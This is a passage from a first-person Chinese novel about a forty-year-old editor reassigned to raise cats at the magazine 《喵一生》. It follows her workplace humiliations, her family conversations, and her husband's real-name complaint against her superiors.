“说实话,让我去《喵一生》养猫,我也不适应。那些小猫太皮了。我们没有经过专业的训练,哪里能适应的。何况,我们都三十好几奔四十了。” 我又哭着点点头。我从包里拿出纸巾擤擤鼻涕跟她说:“妹妹你有多大了?” 她说:“我都四十了。” 我说:“我也四十了,八四的。可是,我看你,比我年轻多了。” 她说:“可能我们工作轻松一点吧。你们一线编辑,尤其是《小坛》的编辑,辛苦的。你们动脑子厉害的。” 我说:“在《小坛》,确实比较费脑子。但是,这是我大半辈子的专业和本行,我干习惯了。本来我就是个书呆子,耍笔杆子的人。现在,你突然让我去《喵一生》喂猫,我真地受不了。” 她说:“你这种情况,确实也能理解的。” 我问她说:“我在这儿打扰你吗?” 她说:“不打扰,我老是站着也累的。” 我说:“我跟你说实话。我是走投无路了。我看到你蛮温暖的。我就是想跟你说说话儿,我自己其实也不知道该怎么办。我不知道自己该何去何从了。”我说着又落下泪来。 她说:“没事儿,可以理解的。谁都会遇到难处。” 我说:“听说局长脾气很大,是真的吗?我其实还很怕局长呢。我哪里想去找局长?可是我真地不知道该怎么办了。” 她说:“也还好吧。我们跟他相处都还好了。” 我说:“哦。” 这时,她桌上的电话响了。我猜是人事科科长郑嫦。 “是的!她在这儿。”我听到我面前的女人拿着电话跟对方说。 “好的!我让她去你那儿。”她又跟对方说。 她放下了电话,看了我一眼。 我说:“是郑科长吗?” 她说:“是的。郑科长让你去一下她的办公室。” 我说:“好的。那我走了,打扰你了。” 她说:“没事儿。” 我出了那个好心的女子的办公室,郑嫦就在门外等我。 郑嫦看到了我,按着性子跟我说:“你要找局长是吗?呐,这个也是局长!你去跟他说吧。” 我抬头看看,就是刚才那个跟我发脾气的五十多岁的男人的办公室。我没办法,只好到了他那里。他穿着深蓝色的衬衫,像是一个没有血色的木偶人一样威严地坐在那里。他光溜溜的办公桌上有一个晶莹透亮的四四方方的烟灰缸。这是他庄严的办公桌上唯一的办公用具。 “你干嘛?”他又用一种厂里厂气的口气问我说。是的,厂里厂气。至于他是东厂还是西厂呢。我也说不清。我这次没有什么太多的眼泪,我知道他会应付我,我也知道郑嫦是在应付我。我知道他根本不会把我的事儿当成一回事儿,他根本就不会为我解决任何事儿。 在这种冷血的人物面前,我也彻底冷血了。 我落下我所有的情绪,平静地说:“我原来是《小坛》的,今年被流动到《喵一生》养猫了。我没有养过猫,我怕我不适应。” 他继续板着脸,像是一个大佐似的说:“这件事,你不早点说嘛?你现在说太迟了,工作部署早就安排好了。我们也没有办法。你的事我们会摆在心里。等明年,我们会给你安排。” 我知道他说的都是假话。我看着他说话。等他说完。 我说:“好的。谢谢您。打扰您了。” 我走出了他的办公室,郑嫦在门外等我。 我跟着郑嫦到了她的办公室。 郑嫦按着性子跟我说:“你刚才去哪了?” 我哭着说:“对不起,郑科长,我也不是要难为你。我是实在害怕,这一年,我要是适应不了怎么办。” 她说:“唉。你的情况我确实也能理解。我来再问问杜社长。” 她打电话跟杜社长说:“宋编辑的事儿,你那里怎么说的啊?《喵一生》编辑部有没有女的怀孕啊,让她去替补一下啊?能不能分出来一部分任务给她做做啊?” 杜社长一一做了回绝。 “人家宋编辑要去找局长了。”郑科长跟他说。我知道这是郑科长跟杜社长告状呢。 杜社长恨恨地在电话里骂了一句。我不知道是骂的什么。 郑科长说:“不能这样说哎。” 我跟郑科长说:“杜社长生气了?他骂我了?” 郑科长疲软地说:“不说了,不说了,点到为止。” 我说:“那我回去吧。杜社长要是生气了,我可是吃罪不起。” 我离开了郑科长的办公室,就赶紧发信息给杜社长。 我说:“杜社长,对不起。让您生气了。我本来就是产后,现在就是打击太大,一时无法接受,很难过,六神无主了。因为您说,《且戒》缺人嘛,我就想去坚持一下。您可别生气,我现在马上就回去。我就是怕我实在不会养猫,我毕竟没有经验,我怕这一年我实在没办法适应,到时候,不仅我自己迷茫,对那些小猫也不利。” 杜社长回复说:“不会可以学。都是慢慢积累的。” 我说:“杜社长,我确实一开始有些接受不了。但是如果实在没有办法,那我就好好养猫。以后编辑部有位置能不能为我考虑一下。” 杜社长回复说:“明年可以。” 我说:“杜社长,您别生气,否则,我罪过就大了。” 其实,现在想来,我那时候也是糊涂了。即使局长在,结果又会怎么样呢?他是会为我说句话,还是会更加气急败坏地把我痛骂一顿呢?谁说得上呢? 即使局长同情我,为我说话,硬让我去《喵一生》编辑部,我还不是在杜社长手心儿里吗?我还不是一样地得罪了杜社长吗?我照样是吃罪不起啊。 可是那时候,我也是被悲伤冲昏了头,由着自己的性子胡作非为了。 我就老老实实回到了《喵一生》。再也没有去找过局长。 我之所以没有去找局长,还是因为我是害怕的。我没有十足的把握,我不能保证局长会为我说话。我更不知道,我见到了局长以后的结局是什么。我预料不到多大的更好的结果。 我害怕结果比现在更差。 我怕我惹得局长龙颜大怒,我怕局长会给我订一个死罪,让我滚之夭夭。滚到九霄云外。那样,我可就更惨了。 我回到家,坐在房间里掉眼泪。 端午打来电话说:“你的事问地怎么样了?” 我说:“人事科科长说,今年实在没有空缺了,让我先干一年再说,我就先干着吧。” 端午说:“我看到网上公布的信息了,官网上公布的,你是被调到编辑部了。可是,事实上,他们却把你弄到了实践部,把你调到一个根本不适合你的地方。” 接着,他把一张图片发给了我,那上面的表格里,赫然填写着:宋大省,《喵一生》杂志社编辑部。 我淡淡地说:“把我调到编辑部还是实践部,这还不是杜社长一句话的事儿吗?我能怎么办。” 端午说:“我帮你举报吧。” 我跟他说:“你不要去,你千万不要去!没有用!你那样只会害了我。你不要去!我自己的事,你不要管!” 我还是不放心,立刻打电话跟他说:“你不要去!你听到了没有?你那样做,只会把他们给彻底得罪了,没有用!他们可以移天换日!偷梁换柱!他们敢这样做,说明他们背后有后台!他们盘根错节!你不要以卵击石!我们搞不过他们!得罪了他们,他们反而会把我反杀地更厉害!” 他说:“那好吧。”我以为端午会听我的话,也就放心了。 我不知道,他后来又去举报了,或者,他跟我说的时候,已经举报完了。这是我后来才知道的。 我被调走的消息不胫而走。晚上,吴悠悠给我发了微信:“《小坛》的领导太过分了。别伤心,他们也会倒台的。” 我不敢随着她说《小坛》领导的坏话。我就回复她说:“谢谢你,悠悠,这时候还想着我,还敢联系我。没关系的,我不难过。在《小坛》这个大宇宙里,我只是一粒灰尘。被调走是早晚的事儿,我早有心理准备。” 我的意思是我很渺小,可是吴悠悠把这句话解读成了生死的问题了。 她说:“对!他们也是宇宙里的一颗渣子,他们也会死的!” 我看了看吴悠悠的信息,我也不说什么了。随便她怎么解读吧。我现在哪里还有那个功夫跟人家耍嘴皮子呢。 45. 郁郁涧底松、离离山上苗 1.小田、小草 星期天,我在家里带孩子。我抱着宝宝跟我妹妹视频。 “姨姨好!” 妹妹家的三个小孩儿说。 “看!这是哥哥姐姐!”我对宝宝说,“叫哥哥姐姐!” 宝宝光看,不说话。 “她不会喊哥哥姐姐。”我笑着说。 “天呢。你看你头发都白了。”我妹妹说着,留下了眼泪,“我看你白头发那么多,我可难受了,姐!” “没办法。生孩子生地晚,夜里熬夜带小孩儿,工作上压力也大。”我说。 “是的,你要上班,也是辛苦的。”我妹妹说,“你能上班挣钱,所以你在家里说了算。不像我,我因为不上班,不挣钱,处处看人脸色。” 我说:“你不上班怎么了?你带着三个小孩儿呢?洗衣做饭,接送、辅导。这一摊子他们哪一个干地过来?你这不是为家庭做贡献啊。我上班又怎样?端午工作又不好。大头全指望我。他妈妈拎不清,还想拿捏我,她凭什么?跟你说实话吧,我跟俺那些双职工的同事比,我就是个穷人。人家条件都比俺好多了。俺也就是维持个温饱。” 我妹妹说:“你也不要跟她们比,姐。她们有钱又怎么样。她们就算有钱,她们没有男孩儿,她们的家业也没有人擎受。你过年把儿,等这个大点儿了,你再生个男孩儿。就圆满了。” 我说:“什么擎受不擎受的,小妹。谁有多大的家业。我现在一点都不想要男孩儿,我本身年纪也大了,条件也不好,我是生不起养不起了。我就要她一个。以后我有什么都是她的。什么都给她。我还害怕生个男孩儿来跟她争资源呢。要是生个男孩儿,我们能力有限,分给闺女的就少了。俺闺女日子就难过了。我吃过的苦不会让她再吃一遍。我不生了。” 我妹妹说:“恁家小孩儿条件好,不像俺家,奶粉都是成包儿的。都是随便养的,现在不也是挺好的,都长大了,也不比人家长地差。” 我说:“恁家养着三个孩子,日子过地还不错,盖着楼,吃喝板正儿的。已经很厉害了。谁家能养得起三个孩子。我一听都能吓死了。我是不敢养,一个都要养不起了。” 我妹妹说:“俺乐乐成绩可好了,年级前十名。我每天都辅导他。我三个孩子能成一个,就算是我的骄傲了。” 我说:“是的,小妹。那两个你也辅导辅导。女孩儿以后上好了学,自立自主了,找个好工作,也少在社会上受磨难。” 我妹妹说:“你不知道的,姐。子涵还行,雪寒是一点儿都不奔学习。就喜欢玩手机。眼睛都近视了。人家她奶奶也不给看,连眼镜都不想给她配。上回她老师都叫我去学校了。雪寒成绩太差了,给她老师拉分儿。跟我一样,她没有学习心,你能怎么办。” 我说:“雪寒也可怜,生下来身体就弱,可能也有影响。反正都是你的孩子,你都别放弃。现在还小呢。还早着呢。说不定以后就开窍了。” 我妹妹说:“雪寒就喜欢画画,姐。跟我小时候一样。我想给她报个班,她奶奶不让报。” 我说:“没有钱的家庭就这样,小孩儿有天赋都没钱培养。你小时候咱家要是有钱,能培养你学画画或是学舞蹈唱歌的话,说不定你现在也上好了学,也有工作了。人家有钱的小孩一点点大就送去学舞蹈学唱歌了。人家还不是简单地报个班,人家把小孩儿送到大城市、送到国外学习。像咱们哪有那个本事啊。别说恁家三个,就是俺家,就这一个,俺都没这个本事。不过,像咱们普通家庭,学那些艺术的也没什么用,小孩儿一长大,看的还是学习。你先把学习给她抓好。” 我妹妹说:“她们三个我也是一样地辅导的。她自己没那个学习心。你让我怎么办。行,我不跟你说了,我要给他们辅导了。你也忙吧,姐。你明天还要上班吧?” 我说:“上班的小妹。” 我工作上的事情,我没有跟我妹妹说。跟我弟弟更不会说。如果我跟她们说了,你猜他们会怎么着?我猜他们不会真地为我难过,她们甚至会幸灾乐祸。尤其是我弟弟。我妹妹又怎样?我的工作和工资跟她有多大的关系? 姊妹各自成家立业以后,各过各的了。谁的得失荣辱也只是跟自己的孩子有关系,对外戚来说,没多大的影响。我如果告诉了他们我的遭遇,他们也只是像我的那些毫无干系的同事一样,在言谈之间有了新的话题。他们会为我的不幸的遭遇找很多原因。你看,我早就知道,老大这个人,不行,怎么样?现在,果然应验了吧? 是的。姊妹之间总是会攀比的。我妹妹还觉得我没有儿子,比不上她呢。她也不想想,她那两个丫头都是为了追生儿子才生的,在她眼里心里,她两个丫头的地位根本没法跟她儿子比。跟我家孩子比,她的两个丫头过的是什么日子。随便她吧,我也没有必要为了跟她比,也去追生一个男孩儿,来争这口无谓的气。 人来这世上一遭实在是太不容易了,我要把我所有的爱都给我女儿。我想地透,看得开。我也不想跟我妹妹说这些。在她的心里眼里,女孩儿还是低儿子一等,女孩儿是没有资格继承家业的。尽管她的家业也只是农村的一套小别业。可是那套小别业放之四海,跟周围那些有钱的人家比,那点家产又算得了什么。算了,我也不跟她辩论了。跟她说这些,她也不懂。她也更不会认同。她有优越感就有优越感吧。我只要尽我所能对得起我的女儿。 我被分到实践部第四组第五喂养室,专门负责喂养四岁的小猫。要上班了,我来到安排好的办公室,坐在进门第一个位置上。没有椅子,我就去西南方墙角那里拿椅子。我看到了一把绿皮面的椅子,觉得它稍微清爽一些,刚要伸手去拿。 旁边一个女同事站起来,隔着中间的隔断,不阴不阳地跟我说:“你拿另一个吧,这个是大家开会的时候用的。” 我说:“好的。”我赶紧去拿另一把椅子。这儿的椅子是黑纱包裹着海绵,坐着软软的。我就用书占了位置。 等我再回到办公室的时候,我发现,我的椅子不知道被谁给调换了。 我的椅座儿上本来是好好的,没有洞的。现在被换成了一把旧的,像是被谁用烟头烫了一个洞的椅子。那个小洞圆圆的,露出白白黄黄的海绵。正对着屁股,看起来有些搞笑。以前我是一个很追求完美的人,如果遇到这样的破洞,我肯定会去旁边的会议室调换一把,我也可以找后勤处的负责人调换一把,实在不行,我也可以用黑色的材料修补一下。凭我的性格,我甚至会自己花钱,再买把新的椅子。 可是现在,我什么都没说。我是什么身份,我是被发配来的人。我只有夹着尾巴做人。我敢问谁。 而且,我到了这个份儿上,只剩下苟延残喘,只剩下拼命活着,一个椅子的小洞对我来说又算什么呢。 我是什么?我是惊弓之鸟啊,经过这种打击,我已经杯弓蛇影,风声鹤唳草木皆兵了。有个座位就行了。谁知道能坐多久呢? 况且,小洞就小洞吧。就这样留着,来激励我。告诉我,人到了这种被发配的田地,连用的都是被人挑下的,最次的东西。 椅子上有这样一个小洞,会被人笑话吧。 我不怕别人笑话,我得到的笑话还少吗? 坐在我后面的是一个小姑娘。她看起来冷冷的,不怎么说话。 第二天,一大早,我到了办公室,坐在我后排的那个小姑娘笑着跟我说:“宋编辑,你原来是《小坛》的啊?” 我说:“是啊。” 她说:“我叫小草,我实习的时候就在《小坛》。我师父是吴悠悠,她说你挺好的。” 我说:“谢谢你。小草。” 第四小组组长是小田,93年的。她对我很是温和,笑笑地看着我。 开会的时候,她不厌其烦地一项一项地告诉我,养猫要注意的事。养猫的事,我是一无所知,我认真地记着: “养猫要根据养猫教程来喂养。个人要提前熟悉养猫教程,要用蓝色笔在教程旁边写自己的心得体会。” “每次养猫都要写详细的记录,喂养一到三岁的小猫要用铅笔记录,喂养四岁以后的小猫用蓝色钢笔记录。” “每次养猫记录,都要用专门的日期章盖章,日期要用黑色笔填写。” 她说的我全都不知道,全都记录了下来。 小草催促着说:“行了,行了,田组长!田大教授。我们该回去了,还要去养猫呢。”小田说:“不行,我怕有的事宋编辑还不知道呢。” 我说:“是的,耽误大家时间了。小田为我费心了。关于养猫,我真的是一无所知。真得像你们这些小姑娘学习。” 小草说:“我们都是经过专业培训,批量生产的。” 坐在我对面的莉莉给我发信息说:“宋编辑,我以前也是在《小坛》实习的。我要拜你为师,你看可以吗?你要是同意我就上报了。” 我赶紧回复她说:“莉莉,谢谢你这么看得起我,我很感谢你。可是我对养猫的事情一概不知,我实在没资格做你的师父。我自己还要认一个师父呢。” 她说:“那好吧。那我就选别人了。” 我说:“好的,莉莉。” 小田对我这么好,我非常感激,她的笑容像是春天一样,温暖着我这个被发配的老灵魂,也感染着周围的同事,在她的带动下,大家也都对我不错。 小田对我不错,又是小组长。我就跟她说:“小田,我对养猫的事情很生疏,我就认你当师父吧。” 她说:“好的。我们这里是轮流值班,对小猫进行不同阶段的喂养训练。我们小组主要对猫咪进行社会化训练,训练它们听你的指示。比如坐下训练,握手训练,召回训练,不咬人训练,不乱尿训练。这个要有过程资料,也就是要有视频和文字记录。” 我说:“好的,我周一上午前两个小时没有任务,我就去跟着你学习吧。” 她说:“好的。” 散会了,莉莉跟我走在一起。她问我说:“宋编辑,你明年还在实践部养猫吗?你会调到编辑部吗?” 我说:“莉莉,我现在不求回到编辑部了,人家能让我好好地待在实践部已经不错了。” 她说:“反正现在都是靠关系。来,我加你微信吧。” 我说:“好的,莉莉。你们都是年轻的小姑娘。我都是老妇女了,跟你们有代沟了。你不说,我还不好意思加你呢。” 莉莉说:“我太累了,我要嫁个大官的儿子!” 我笑着说:“你这话要是搁在我二十岁的时候,我会觉得你很庸俗。可是,到了我四十岁的时候,我却觉得你这个愿望是多么地单纯!” 莉莉说:“本来就是嘛!” 我说:“我很想帮你介绍介绍。可是我不认识什么大官。我要是认识什么大官,我也不至于被弄到这儿。” 我继续上班,继续生活。生活就像一块块琐碎的木枷锁,你把这些一点点拾掇起来套在自己肩上。再一件一件卸下来。每卸下一块,你都舒一口气,轻松了好多。卸完了再继续拾掇。 我去食堂吃饭。看到了保安顾师傅。 “顾师傅!”我喊他一声,端着餐盘向他走过去。 “小宋,过来一起吃饭!” 我坐在顾师傅对面。老高也端着餐盘过来了:“你好,顾总!”老高跟顾师傅打招呼。 我说:“高编辑,你也认识顾师傅?” 老高说:“江湖上有名的顾总,谁不认识啊。我们是一个小区的。” 顾师傅把他面前的保鲜袋里的小炸鱼推给我们说:“一个朋友给我从湖南带来的,你们分分吃吃。” 我说:“那多不好意思呢。我们吃了,你怎么办。” 他说:“我吃了。够的。” 我说:“那我就不客气了。难得跟顾师傅一起吃饭,幸福。吃顾师傅的小炸鱼,更加幸福。” 那小炸鱼有一根手指那么大。用油炸过了,黄黄的,肉肉的,虽然出锅很久了,不酥脆,但是很好吃。 我说:“顾师傅,蛮好吃的。” 顾师傅说:“我今天带了小鱼给你们吃的,否则,我不会来食堂吃的。” 我说:“吃饭不在食堂吃,在哪吃啊。在厕所吃啊。” 顾师傅朝四周看了看说:“社长看见了,会说,一个保安也来食堂吃饭。” 我说:“顾师傅,我们不管那些,我们都是一样的。在这里,你就是领导。” 高编辑说:“顾总可不是一般人,以前做生意的。” 顾师傅说:“不谈了。现在沦落到做保安了。我看得开,谁看不起也无所谓。我不放在心上。” 我说:“顾师傅,就应该这样,我们努力干饭,好好活着。” 是的,进入《喵一生》以后,我吃饭吃地更加努力了。我撅着屁股认认真真地吃着我餐盘里的饭菜,一口一口地吃地喷香。 我像是一头驴子似的,没心没肺地嚼谷着。 小时候,一个人拿着一张纸,让另一个不明就里的人念:“暗是绿,暗是驴,暗是大春绿。”“春驴”当然就是“蠢驴”的意思,读的人不明就里,读地起劲儿,写的那人则是哈哈大笑,自鸣得意。 我知道,在很多人的眼里,我就是一头大蠢驴吧,包括我的孩子,都是小驴子。那我就按照驴子的规则生活。驴头驴脑,驴模驴样。吃草料,拉粪,住驴圈。没有任何思想。我咀嚼饭米粒的样子,像极了驴的长嘴在反刍草料,我撅着粗壮的大肥腚干活儿的样子,像极了驴子撅着屁股在拉磨。我的屁股和驴子一样肥大一样丑陋。我知道我是一头驴。他们也知道我是一头驴。只有在一天的辛苦结束以后,走在外面的世界里,我才看到我自己。我自己也才觉悟到我原来不完全是一头驴。 但我还是始终微笑着,跟谁都微笑着。一副明明混地很差,还是不知羞耻,没有自知之明,浑浑噩噩地生活的样子。是的,我始终微笑,我必须微笑。你是一只蚂蚁,你被人踩着的时候,除了顾着喘口气儿,不要再做出什么拼命挣扎的样子,否则人家脚底下使使劲儿,会把你踩地更厉害,把你踩死。你要服服帖帖地,像头驴一样,乐在其中,让他们觉得你看起来就是个恬不知耻、垃圾低劣的骡子和烂泥,毫无反抗的心力和实力,这样,他们才会让你活下去。 我已经不惮以最坏的恶意来估摸那些人了,因为他们给我的恶意是我根本就没有想到的。那恶意之神速之利落之削铁如泥,让我始料未及。所以我再也不会做梦,梦想他们还会给我一点点善意。 周一一上班,我就搬着凳子,拿着笔和本子,跟着小田去了她的喂养室。小田的喂养室里窗明几净,窗台上放着一盆盆的绿植。整个喂养室里充满了精气神。那些猫咪早就训练有素。 小田戴上小蜜蜂,拿起指挥棒,站在指挥台上说:“喵喵!” 那些小猫整齐有序地“喵喵喵”了一声。 小田说:“现在把小手伸出来!对,右边的小手!”那些小猫就刷地一下伸出小爪子。 小田说:“跟田妈妈一起做。小手小手拍拍,猫猫猫猫乖乖!对!拍拍手!拍拍手!我们都是好朋友。”那些小猫就跟着小田拍手。我坐在旁边看得惊呆了。等小田的时间到了以后,她走回休息室休息。 我问她:“小田,我感觉这些猫咪好听你的话啊!简直是令行禁止啊。你是怎么做到的?” 她说:“这是我从一岁就开始喂养的小猫。而且我是主喂养人。跟它们接触比较多。你那些小猫的主喂养人是小影。她也是才接手的。你们那些小猫不太听话,以前还有一个叫齐齐的小猫,今年被送给爱猫人士喂养了。特别调皮。你要是今年碰到它,更头疼。” 我问小田:“我这些记录的资料最后交给你吗?” 小田说:“最后一起交给小草部长。” 我说:“好的。” 我说完以后,拿起拖把就去洗手间洗拖把拖地。那些小姑娘都在自己的座位上忙着,我也不叫她们。 我拖到小田跟前的时候,小田说:“宋编辑,你太勤劳了。” 我说:“应该的,我比你们年纪大,我不干活儿,还让你们这些小姑娘干啊?你们在家,爸爸妈妈都不让你们干活儿吧。” 小田笑着说:“嗯,是的。” 我说:“来,你起来一下,我给你拖拖脚底下。” 小田起身离开座位说:“谢谢!” 小草说:“下午开会,要师徒结对了。工作不到三年的新员工,要认一个老员工做为师父。” 小田说:“几点啊?” 小草:“三点吧。你的徒弟是谁啊?” 小田说:“我的徒弟是莉莉。” 我说:“还有我,我也是。” 小草说:“我们这些工作没满三年的才认师父,宋编辑认什么师父啊。” 我说:“我跟你们小年轻的比,唯一的优势就是年纪大了。我对喂养猫真的是一无所知。要跟着你们学习的。” 小田说:“师徒结对的时候要上台,宋编辑到时候就不要上去了。” 我说:“好的。我年纪大了,上台也确实有点不好意思。” 下午,开会了,大家济济一堂。 主持人喊着:“有请师徒结对的师父和徒弟上台!” 一群师父和徒弟上台了。师父面向大家站成一排,徒弟背对大家面对师父站成一排。 我看到小草背对着大家,面对着她的师父站着。 主持人说:“现在徒弟向师父鞠躬!”听完主持人的号令,所有的徒弟都朝着师父鞠躬。鞠躬完毕,徒弟拉着师父的手有说有笑,一时间,台上欢欢喜喜,好不热闹。 “好!礼毕!请大家回去落座儿。”主持人说。大家这才陆陆续续回去。 吃晚饭的时候,我跟端午说:“我们小组有个女的,工作才一年就当了部长了,你说怎么做到的?” 端午说:“优秀!” 我说:“我也见过优秀的,但是升迁也没这么快呀。工作还没满三年呢。怎么升地这么快啊。论资历论能力,她好像没有另一个女的厉害啊?怎么就当了部长了。这事儿有些蹊跷。我倒不是嫉妒。我就是觉得有些不可思议。” 端午说:“就是优秀。” 我说:“吃完饭以后,你带带小孩。我还要搞一个线上讲座呢。我对养猫的事情根本都不太了解。我还得想想说什么呢。我得先找张纸列个提纲。” 吃完饭以后,我拿来一张纸列了一下提纲。在客厅的一个角落里的桌子上打开电脑,开始了我的线上讲座。 “各位爱猫人士大家晚上好。我呢,对于养猫这件事经验不足,在各位爱猫人士面前,就是一个小学生。我仅就我个人对小猫的看法和感受,简单地谈一下不成熟的见解。” “第一点就是,每一个生命都值得被爱。每一个猫猫都是一个天使。都是一个心肝宝贝。它们值得拥有我们更多的更好的爱。当一个弱小的生命,把它的命运托付给我们的时候,就意味着它给了我们足够的依赖和信任。我们出于职责去喂养它们,它们却是出于天然地本能去信任和依赖我们。在这个层面上来说,值得感激的是这个弱小的生命而不是我们。” “第二点就是众生平等。猫猫虽然弱小,但它跟我们人类在生命的层面上来说是平等的。我们人类出于体能和物质上的强大,可能会对这些猫猫施以强权和威压。其实,我们人类所持有的物质上的优越和体能上的强大,不过是我们的前人和先辈帮助我们一点点的积累和占据的。抛开这些,如果把我们人类也同样放到荒野,我们的求生能力,可能比一只弱小的小猫还要差。所以 ,作为一只猫,有什么好可耻的,作为一个人类,又有什么好骄傲的。” 弹幕上飘来了几个爱猫人士的评论:“讲地很好。”“好棒。” 我下线了,另一个猫猫喂养员上线了。 “大家好!”她斩钉截铁地说,“我在这里对我们的爱猫人士提出几点建议。第一,爱猫人士把小猫接回家以后还要对小猫的体能和智力多做一些必要的训练和练习。光靠我们猫猫喂养员的监督是远远不够的。四岁的小猫,它的发音系统和认知能力已经很成熟了,爱猫人士要监督猫猫练习发音和识别能力。必要时可以辅助一些宠物玩具。我们双向合作,才能让我们的猫猫成长地更好。” 端午在一旁也静静地听着。他跟我说:“这个喂养员讲地好!她的声音很大,很自信。一听就是个领导。” 我说:“你知道什么呀,我根本就没养过猫,我讲成这样已经很好了好吗?我一天的猫都没养过,我对养猫的事情一无所知。我跟人家专业养猫的能比吗?” 端午还是半信半疑地看着我。我知道他是在质疑我的能力。是的。这就是墙倒众人推吧。当你的领导否定你的时候,你的亲人、家属也开始质疑你。你周围所有的人都在质疑你。我知道这是必然的。 2.端午替我实名举报 过了几天,杜社长进我们办公室来慰问新员工了。 “宋编辑!”杜社长温和地笑着跟我说。 “哎呀!杜社长!”我赶紧站起来笑容可掬地说。 杜社长问我道:“宋编辑,最近心情怎么样?还能适应吗?” 我说:“谢谢您!杜社长!我现在彻底恢复正常了。心情很好!我以前其实也是风风火火,快快乐乐的。就是这次让我养猫有点突然。谢谢您杜社长,您真地很好。都是我不好。给您添麻烦了。我一开始就应该感谢《喵一生》对我的收留。多亏了您那么耐心地对待我,谢谢您!” 杜社长说:“可以同伴互助,不懂的事情问问她们。” 我说:“谢谢杜社长关心。实践部都是小姑娘,我都四十了。确实粗笨。我会从零开始,凡事向她们学习,其他的没那么矫情。我以前在《小坛》也是资历最低的,什么都习惯了。” 杜社长听了我的话,也温和地说:“习惯了就好!” 中秋节的时候,我给人事科郑科长发信息说:“郑科长,中秋节快乐!谢谢您那天对我的理解。” 她立刻回我电话说:“小宋,我跟你老公打电话了。跟他说明了你的情况。” 我心里一惊,说:“哪个老公?你怎么有我老公的电话的?” 她说:“就是你老公端午啊,你老公在网上实名举报我们了,他留的他自己的电话。” 我说:“天呐!我那天听说他要帮我□□,我立刻就阻止他了啊!他在哪里举报你们的啊?我一点都不知道!他竟然背着我干了这种事!” 她说:“你不知道?” 我说:“我真的不知道啊!我说你怎么有我老公的电话,我老公在厂里啊,他又不是我们系统里的。我还以为你说的是我前任老公呢!这个狗娘养的坑死我了!我真是杀了他都不称心!” 她说:“我还以为你知道呢!” 我说:“我怎么能干这种事!退一万步说,我就是举报你们,我也不实名啊!杜社长知道吗?” 她说:“他知道了。你老公举报我们,我们都做了回复了。” 我说:“他在哪里举报的啊!” 他说:“他在网上举报的。” 我说:“天呐!我还以为□□是在文化局呢。我都不知道他搞这些!” 她说:“这种事情也正常,我们见地多了。他去举报我们,说明他还是在乎你的。” 我说:“他92年的,他太没脑子了。你跟他通话的时候,有没有听出来,他特别没脑子啊?” 她说:“我跟他交流的时候,能听得出来,他是很幼稚。” 我说:“哎呀!实在对不起啊!他有没有给你们带来麻烦啊,要不要我去帮你们说说啊?” 她说:“不用。我们已经跟他解释过了。” 我说:“我的天呐!惊天大雷啊!幸好我给你发了这个信息,否则,我都不知道他这样坑我!他这个鬼东西,他根本就是没心没肺的。他要是有本事,他到你那里,跟你当面鼓对面锣地理论一番,我也佩服他。他平时就知道打游戏,说话驴唇不对马嘴!跟他妈一个样儿!他就知道躲在键盘后面,做下这种坑死我的鬼事情来!你说我跟这种人一起怎么过的!” 她说:“你当初怎么找了这种人的?” 我说:“我不是恨嫁嘛!我都快四十了。得赶紧找个人结婚生孩子啊!” 我放下电话,立刻跟杜社长发信息。 我说:“杜社长,中秋节快乐!我刚知道一个惊天大雷!我跟您解释一下。我根本不知道,我那92年的幼稚的老公居然写信到了哪里,给您添麻烦了。我一直都不知道。今天,郑科长给我打电话,我才知道。 她说,她跟我老公打电话了。我一时都不知道,他跟我哪个老公打电话的。他怎么有我老公的电话。我还以为他搞错了,别跟以前那个黄编辑打电话了。 那天,我在带小孩,他在上班。他不知道从哪里看到的,网上的信息。是我被调到编辑部了。他发给我看。我也没有太激动。他说他要帮我□□。我当时就把他骂了。我说,我自己的事,不要他管。他当时答应了。 今天,我才知道,他在网上举报你们了。他给我捅了这么大的篓子,给你们添了这么大的麻烦。我一直都不知道。” 杜社长回复说:“没关系,不要放心上。” 我说:“我到现在都不知道他怎么搞到的那些渠道。他白天上班,晚上回来就吃饭睡觉。我忙孩子,我们也不怎么说话。 真的很抱歉,杜社长。我不知道该说什么了。我真的一点不知道。我这个老公唯一的作用就是给我添堵的。家里的事情都是我忙。孩子他夜里一点不管。他天天被我骂。我说过多少次,不是为了孩子,早就跟他离婚了。 杜社长,给您添麻烦了。这么大的事,您当时怎么没跟我说,这么多天,我一点都不知道。您肯定以为我知道,我发誓我一点都不知道。 我想想我那个傻货老公干的事儿,气地心疼,肝疼。我们各自早出晚归,没有交集。我跟他经常吵架,感情已经所剩无几。我没想到的是,他还能背后捅我一刀。我都怀疑,他是因为我天天骂他,他故意报复我的。就他这种成事不足败事有余的人,你不知道他平时多自私多不负责任。 我真的没想到,他居然背着我干了这样天大的坏事。他幸好是实名,幸好我给郑科长发了一条问候信息。否则,我一直被蒙在鼓里。他平时对我也是这样,很多事,小事,我说一千遍,一万遍,他嘴里答应着,其实永远改不了。 我知道他给您带来了无可挽回的伤害。我也不知道怎么去弥补您。我自己也很痛苦。可是,我又没有办法。我真的不知道他干了这种事!如果您需要我写什么材料,我一定好好配合!您真的是一个宽容大度的好领导。发生了那样的事,您都没跟我说,我一点都不知道。” 我打电话给端午说:“你帮我举报人家了?” 他说:“啊。” 我说:“你个狗娘养的!我不是不让你去举报吗?你去举报有用吗?” 他说:“怎么没有用!不是解释了吗?” 我心里那个恨!我恨死了! 我说:“你个傻货!解释有用吗?我是要人家一个解释吗?你太没脑子了!你让我怎么在人家手里混!人家当面给你解释地好好的,心里对我不知道有多恨!人心都是肉长的。谁也不是圣人!谁要是举报我,我再看到他,我也头疼!你个狗娘养的,害死我了!我工作不顺,我的老公实名举报我的领导,我怎么摊上这种货啊!” 他说:“哼!你骂我也没有用!你骂我,你们领导也不会对你好!” 我恨死了,我说:“你个狗娘养的!我领导本来就瞧不上我,你又去实名举报人家!人家非但瞧不上我,还更加恨我了!” 他说:“你以后要争取当骨干,当领导,这样才不会被调动。” 我说:“你怎么那么没脑子的啊?你都去实名举报人家了,人家不弄死我都是好的了!你还想着人家会重用我,你还想着我去当领导?你是不是在做梦啊?我没办法跟你沟通!你真的是脑子有问题!拜托你以后不要来管我的事,也不要管孩子的事。你不要来害我。以后孩子的事,你要是敢胡作非为,我跟你拼命!” 上班以后,我把这事儿跟春霞姐说,我躲在角落里,对着墙壁上的瓷砖,用手捂着手机跟她说:“春霞姐,我跟你说件事儿。上次,我不是被调到实践部养猫嘛,我老公,这个傻货,他在网上看到,人事科公布的信息,是把我调到编辑部的。可是,杜社长把我弄到了实践部。你知道这个傻货干了什么?他去把人家举报了!还是实名举报,留了他的电话!” 